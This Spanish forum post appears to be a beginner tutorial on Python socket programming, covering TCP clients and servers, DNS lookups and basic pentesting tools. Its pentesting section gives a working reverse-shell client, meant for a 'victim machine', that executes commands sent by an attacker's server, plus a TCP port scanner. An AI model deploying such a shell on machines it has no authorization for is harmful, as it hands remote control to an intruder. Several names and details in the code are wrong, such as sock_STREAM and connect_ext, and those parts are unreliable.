Publicado el 08/04/2023 12:04:00 en Programación General.
Author: M20191 | Total de votos: 6 Vote
En este post desarrollaremos de manera didáctica y clara algunos conceptos básicos-intermedios de la programación con sockets.
Como proyecto final realizaremos varias herramientas básicas de pentesting.
Temario Básico
* Programación con sockets
* ¿Que es un Socket?
* Dirección de un Socket
* Socket en Python
* Librería Socket
- - Creación básica de un socket
- - Tipos de comunicación (socket_type)
- - Tipos de familias (socket_family)
- - Familia Row
* Librería socket a fondo
- - Principales métodos y funciones
- - Principales métodos y funciones del lado del servidor
- - Principales métodos y funciones del lado del cliente
* TCP Sockets
- - ¿Por qué usamos sockets TCP?
- - Cliente y Servidor TCP con sockets
- - Creamos un servidor
- - Creamos un cliente
* Pentesting con Sockets
- - Resolución DNS
- - Resolución de DNS Directa
- - Resolución de DNS Inversa
- - Parte practica (Resolución DNS)
- - Shell Reversa
- - Parte practica (Shell Reversa)
- - Port Scanning
- - Parte practica (Port Scanning)
Temario Intermedio
* Buenas practicas
* Manejo de errores
(Sujeto a modificaciones)
Programación con Sockets
La programación con sockets se refiere a un principio abstracto por el cual dos programas pueden compartir un stream de datos atrevés de una API, mediante diferentes protocolos en la pila TCP/IP.
(Si no entendiste nada... seguí leyendo ¡no te preocupes!)
¿Pero qué es un Socket?
Un socket básicamente es un elemento que nos permite explorar las capacidades de los sistemas operativos para interactuar con la red.
Para que sea más sencillo: Puedes pensar que los sockets son canales de comunicación bidireccional de punto a punto entre el cliente y el servidor.
Por lo tanto, los sockets son la manera más sencilla de conectar procesos en la misma máquina o en diferentes máquinas.
Dirección de un Socket
Una dirección de un socket está formado por una dirección IP y un puerto.
# Ejemplo: 192.168.0.101:1234
Socket en Python
La comunicación entre diferentes entidades de una red está basado en el concepto clásico de socket que también está implementado en Python.
En Python la librería socket nos permite establecer nuestros clientes y servidores, transmitir datos entre ellos y muchísimas cosas más. (Te invito a leer la Doc.)
Conceptos generales de la librería Socket
Creación básica de un socket
stk = socket.socket(socket_family, socket_type, protocol=0) # Ya veremos más a fondo los atributos que debemos sustituir.
Tipos de comunicación (socket_type)
* TCP (socket.sock_STREAM)
* UDP (socket.sock_DGRAM)
La principal diferencia entre ambos es que TCP tiene una conexión dirigida u orientada, mientras que UDP no. (Esto se debe a las características que tienen los dos protocolos de comunicación y sus respectivas funcionalidades.)
Tipos de familias
* UNIX (socket.AF_UNIX) : Este está basado en la capa de datos antes de la definición de la capa de red.
* IPv4 (socket.AF_INET) : Este se utiliza para trabajar con el protocolo IPv4
* IPv6 (socket.AF_INET6) : Este se utiliza para trabajar con el protocolo IPv6
Familia Row
Es posible crear un socket en crudo (row), que nos permite tener acceso a los protocolos de comunicación de las capas de red y de transporte (3,4 respectivamente)
Dentro de estos sockets row podemos encontrar una familia principalmente:
* AF_PACKET: Los de nivel más bajos, permiten leer y escribir en cualquier capa
Librería socket a fondo
Los sockets son utilizados en mayor manera en aplicaciones de cliente/servidor, donde un lado actúa como servidor y espera las conexiones provenientes del cliente.
La librería nos permite el acceso a la interfaz BSD (Berkeley Software Distribution), esta misma sé disponibilidad en la mayoría de los sistemas operativos Unix, Windows, y MacOS.
La interfaz de Python para la mencionada librería es una traducción directa de las llamadas a un sistema Unix pero siguiendo el esquema de programación orientado a objetos del lenguaje mencionado.
La función socket nos devuelve un objeto del mismo nombre en el cual podremos realizar diferentes llamadas al sistema.
Principales métodos y funciones
* socket() : Instanciar un objeto de la clase sockets
* connect() : Conecta un socket a una dirección
* send(bytes) : Envía datos al target especificado (TCP)
* sendall(bytes) : Envía todos los datos de buffer al target especificado
* recv(buffer) : Permite recibir una cantidad de datos (TCP)
* recvfrom(buffer) : Recibe cantidad de datos (UDP)
* recv_into(buffer) : Recibe datos y los guarda en el buffer
* close() : Cierra el socket instanciado
Principales métodos y funciones del lado del servidor
* bind(address) : Enlaza un socket instanciado a una dirección
* listen(count) : Permite a un socket aceptar conexiones
* accept() : Acepta una conexión, devuelve el objeto de la conexión y la dirección del solicitante. Necesita del bind() y listen() previamente.
Principales métodos y funciones del lado del cliente
* connect() : Conecta un socket instanciado a una dirección/target determinado
* connect_ext() : Misma funcionalidad que connect pero ofrece la posibilidad de devolver un error si no se pudo establecer la conexión
TCP Sockets
¿Por qué usamos sockets TCP?
* Es confiable: Los paquetes caídos en la red son detectados y retransmitidos por el remitente.
* Entrega ordenada: Su aplicación lee los datos en el orden que fueron escritos por el remitente.
Cliente y Servidor TCP con sockets
Como hemos visto, un socket puede actuar tanto de cliente como de servidor.
* Los sockets clientes son los responsables de conectar a un host, port, y protocolo particular.
* Los sockets servidor son los encargados de recibir conexiones de los clientes en un puerto y protocolo particular.
Creamos un servidor
server = socket.socket(socket.AF_INET, socket.sock_STREAM)
Una vez que está creado el objeto, tenemos que establecer en que puerto queremos que se establezca su escucha.
server.bind(("localhost",1234)) # bind() -> recibe una tupla
Una vez que el servidor tiene habilitado un puerto para escuchar, debemos utilizar el método listen() para aceptar conexiones del cliente.
Para ello, debemos especificar el numero de conexiones máximo que queremos permitir.
server.listen(x) # listen(x) -> recibe una cantidad numérica (int) de cantidades máximas de conexiones.
Por ultimo, el metodo accept() nos permite comenzar a aceptar peticiones de los clientes.
Este metodo se queda despierto a la espera de conexiones entrantes, bloqueando la ejecución hasta que llegue una respuesta.
client_socket, client_address = server.accept()
Con esto podemos comunicarnos con el cliente a través de los métodos:
TCP
* recv(max_bytes)
* send(data)
UDP
* recvfrom()
Para recibir data del cliente al servidor
data_recv = socket_client.recv(1024) print("Data recibida:", data_recv)
Para enviar información del servidor al cliente:
socket_client.send(b'data')
Cabe mencionar que para el cliente recibir información debe estar dispuesto a ello, y viceversa. Es decir el servidor no va a aceptar data si no esta establecido un recv.
Creamos un cliente
En el caso del cliente, debemos crear un objeto socket, usar el método connect() para establecer la conexión con el servidor.
Lego debemos usar el método send() para enviar información al servidor y recv() para recibirla.
socket_client = socket.socket(socket.AF_INET, socket.sock_STREAM) socket_client.connect(("localhost",1234)) socket_client.send(b"Esto es una prueba")
Pentesting con Sockets
Resolución de DNS
La mayoría de las aplicaciones cliente-servidor como los navegadores implementan el protocolo DNS para convertir dominios a direcciones IP
Este protocolo DNS es un sistema jerárquico y distribuido, diseñado para almacenar de forma centralizada en bases de datos relaciones entre un nombre de dominio y la dirección IP
Para poder obtener información de este tipo con sockets podemos utilizar los siguientes métodos:
* gethostname(): Devuelve el nombre del host local.
* getfqdn(): Devuelve un nombre de dominio completo para un parámetro otorgado
* gethostbyname(): Resuelve el nombre de un host en su dirección IPv4 correspondiente.
* gethostbyaddr(): Resuelve una dirección IP en su nombre de host correspondiente.
* gethostname_ex(): Devuelve el nombre de host completo y una lista de todas las direcciones IP que resuelven el nombre de host.
* getservbyname(): Resuelve el nombre de un servicio (por ejemplo, "http") y protocolo (por ejemplo, "tcp") en el número de puerto correspondiente.
* getprotobyname(): Resuelve el nombre de un protocolo (por ejemplo, "TCP" o "UPD") en su número de protocolo correspondiente.
Resolución de DNS Directa
Cuando una máquina intenta establecer una conexión a través de la red con otra máquina utilizando su nombre de host, necesita conocer su dirección IP para poder comunicarse con ella. Es aquí donde entra en juego el proceso de resolución de DNS directo, que consiste en la traducción del nombre de host a su dirección IP correspondiente.
Resolución de DNS Inversa
Es el proceso opuesto, aquella que nos permite asociar un nombre de dominio a una dirección IP concreta.
Para obtener la información de un dominio asociado a un dirección IP el modulo sockets incorpora la siguiente función
* gethostbyaddr("8.8.8.8")
En caso de no ser posible la función devuelve un error.
Parte practica (Resolución DNS)
import socket try: print("gethostname:", socket.gethostname())print("gethostbyname: ", socket.gethostbyname('www.google.com')) print("gethostbyname_ex: ", socket.gethostbyname_ex('www.google.com')) print("gethostbyaddr: ", socket.gethostbyaddr('8.8.8.8')) print("getfqnd", socket.getfqdn('www.google.com')) print("getaddrinfo", socket.getaddrinfo("www.google.com",None,0,socket.SOCK_STREAM)) except socket.error as error: print(error) print("Conexion fallida")
Ahí tienes para ir viendo que hace cada función, recuerda que también tienes disponible la documentación de la librería
con todos los métodos explicados.
Shell Reversa
Como su nombre indica, la técnica se basa en la creación de una shell remota usando como base la propia shell del sistema en
la cual se ejecuta el código en ese momento.
Parte practica (Shell Reversa)
Cliente
import socket import subprocess SERVER_HOST = "localhost" # Modifica SERVER_PORT = 4444 # Modifica BUFFER_SIZE = 1024 # Modifica s = socket.socket() s.connect((SERVER_HOST, SERVER_PORT)) message = s.recv(BUFFER_SIZE).decode() print("Server:", message) while True: command = s.recv(BUFFER_SIZE).decode() if command.lower() == "exit": break output = subprocess.getoutput(command) s.send(output.encode()) s.close()
Servidor
import socket SERVER_HOST = "localhost" # Modificar SERVER_PORT = 4444 # Modificar # send 1024 (1kb) a time (as buffer size) BUFFER_SIZE = 1024 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((SERVER_HOST, SERVER_PORT)) s.listen(10) print(f"Listening as {SERVER_HOST}:{SERVER_PORT}") s.settimeout(50) client_socket, client_address = s.accept() print(f"{client_address[0]}:{client_address[1]} Connected!") message = "Hello and Welcome".encode() client_socket.send(message) while True: command = input("Enter the command you wanna execute:") client_socket.send(command.encode()) if command.lower() == "exit": break results = client_socket.recv(BUFFER_SIZE).decode() print(results) client_socket.close() s.close()
Te explico brevemente lo que hace este reverse shell, establece un cliente y un servidor
* El cliente deberá ser ejecutado en la maquina victima
* El server deberá ser ejecutado en la maquina del atacante
El server le pasará argumentos que el cliente interpretará en la shell para posteriormente retornar ese output al servidor
Port Scanning
Has escuchado hablar de Port Scanning o traducido al español (Escaneo de puertos)?
Bueno si tu respuesta es no... ¡toma aprende y volve! Escaneo de puertos
Al igual que herramientas como nmap, la librería socket nos permite analizar puertos abiertos de una maquina.
Para poder realizar esto, haremos uso de la función connect_ext() que mencionamos con anterioridad, esta nos permite el testeo de manera rápida si un puerto está abierto, cerrado o filtrado.
Parte practica (Port Scanning)
import socket def check_ports(ip,portlist): for port in portlist: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((ip,port)) if result == 0: print(f"Port {port}: Open") else: print(f"Port {port}: Close") sock.close() check_ports("localhost",[21, 22, 444, 80, 8080,...]) # Si tienes conocimientos avanzados o intermedios en Python quizás esta forma de hacer un port scanning te parezca muy mala # Ten en cuenta que este post es para principiantes, de igual forma para no aburrirte toma esta alternativa. def check_ports(ip:str, portlist:list[int]): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:[print(f'Port {port} Open') for port in portlist if sock.connect_ex((ip,port)) == 0] check_ports("localhost",[445,8080,153,5003])
Te explico brevemente el código:
- Empezamos haciendo un bucle for por cada puerto establecido en portlist.
- Creamos un socket AF_INET es decir IPv4 y utilizamos el protocolo de transmisión TCP
- Intentamos conectarnos al host con la IP determinada si el resultado es 0 el puerto esta abierto sino el puerto estará cerrado
Contenido Intermedio
Buenas prácticas con sockets
La forma básica de escritura de scripts del post anterior no fue del todo bien lograda.
Era solo una forma de introducirte a lo que es un socket, y el concepto de una conexión.
Ahora sí, te voy a mostrar como se hacen los sockets como un verdadero PRO h4x0r!
With
Un socket es un recurso del sistema operativo que debe ser gestionado de manera adecuada para evitar fugas de memoria o errores en la conexión. Por esta razón, es recomendable utilizar la declaración with de Python para asegurarnos de que el recurso se cierre correctamente una vez que hayamos terminado de utilizarlo.
Ejemplo de un server socket con with:
import socket def main(): HOST = 'localhost' PORT = 4442 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server: server.bind((HOST, PORT)) server.listen(5) print(f'Servidor escuchando en {HOST}:{PORT}') conn, addr = server.accept() while True: # Enviamos datos conn.send(input('Data to send: ').encode()) # Recibimos datos print('Data received:', conn.recv(2048).decode()) if __name__ == '__main__': main()
El bloque with asegura que el recurso externo sea debidamente cerrado al finalizar el bloque, incluso si ocurre una excepción durante la ejecución.
Esto elimina la necesidad de cerrar explícitamente el recurso en el código, lo que reduce el riesgo de errores y fugas de recursos. Además, el uso de with mejora la legibilidad del código y lo hace más fácil de mantener.
Ejemplo de un client socket con with:
import socket def main(): with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as client: client.connect(('localhost', 4442)) while True: # Recibimos datos print(client.recv(2048).decode()) # Enviamos datos client.send(input('Data to send: ').encode()) if __name__ == '__main__': main()
Como pudimos observar el código es más seguro, simple, legible.
Como tarea puedes reescribir el código de los scripts anteriores de esta forma :)
Variabilizar todo
Variabilizar: Deseo incontrolable de poner variables (no existe el termino pero si el concepto)
Ejemplo:
# Sin varabilizar client.send(input('Data to send: ').encode())
# Variabilizado data_send = input('Data to send: ') client.send(data_send.encode())
Ambas formas son válidas y depende del estilo de programación de cada persona.
La primera es más compacta y puede ser útil cuando se trabaja con pequeñas cantidades de datos o cuando se desea escribir un código más conciso.
Sin embargo, puede ser menos legible si se utiliza en exceso o si queremos realizar procesos posteriormente con los datos.
La segunda es más legible y hacer más fácil el seguimiento de los datos a lo largo del código.
También puede ser útil si se necesita realizar operaciones adicionales con los datos antes de enviarlos.
Sin embargo, puede generar un código más largo y complejo, especialmente si se trabaja con grandes cantidades de datos.
En última instancia, la elección depende del estilo de programación preferido de cada uno y de las necesidades específicas del proyecto en el que se está trabajando.
Manejo de errores | excepciones
except socket.error as e: # Esta excepción se produce cuando una función del sistema retorna un error relacionado con el sistema print("socket create error: %s" % srt(e.__class__)) sys.exit(1) except socket.timeout as e: # Se genera cuando se agota el tiempo de espera de una función del sistema a nivel del sistema. print("Timeout %s" % e) except socket.gaierror as e: # Se genera por errores relacionados a la dirección por getaddrinfo() y getnameinfo() print("Connection error to the server:%s" % s)
No siempre es necesario implementar excepciones en el código para detectar y manejar los errores que pueden ocurrir durante la comunicación pero es bueno tener en cuenta que existen, y nos pueden resultar de gran ayuda cuando estemos trabajando con sockets.
Ultima modificación 9/4/2023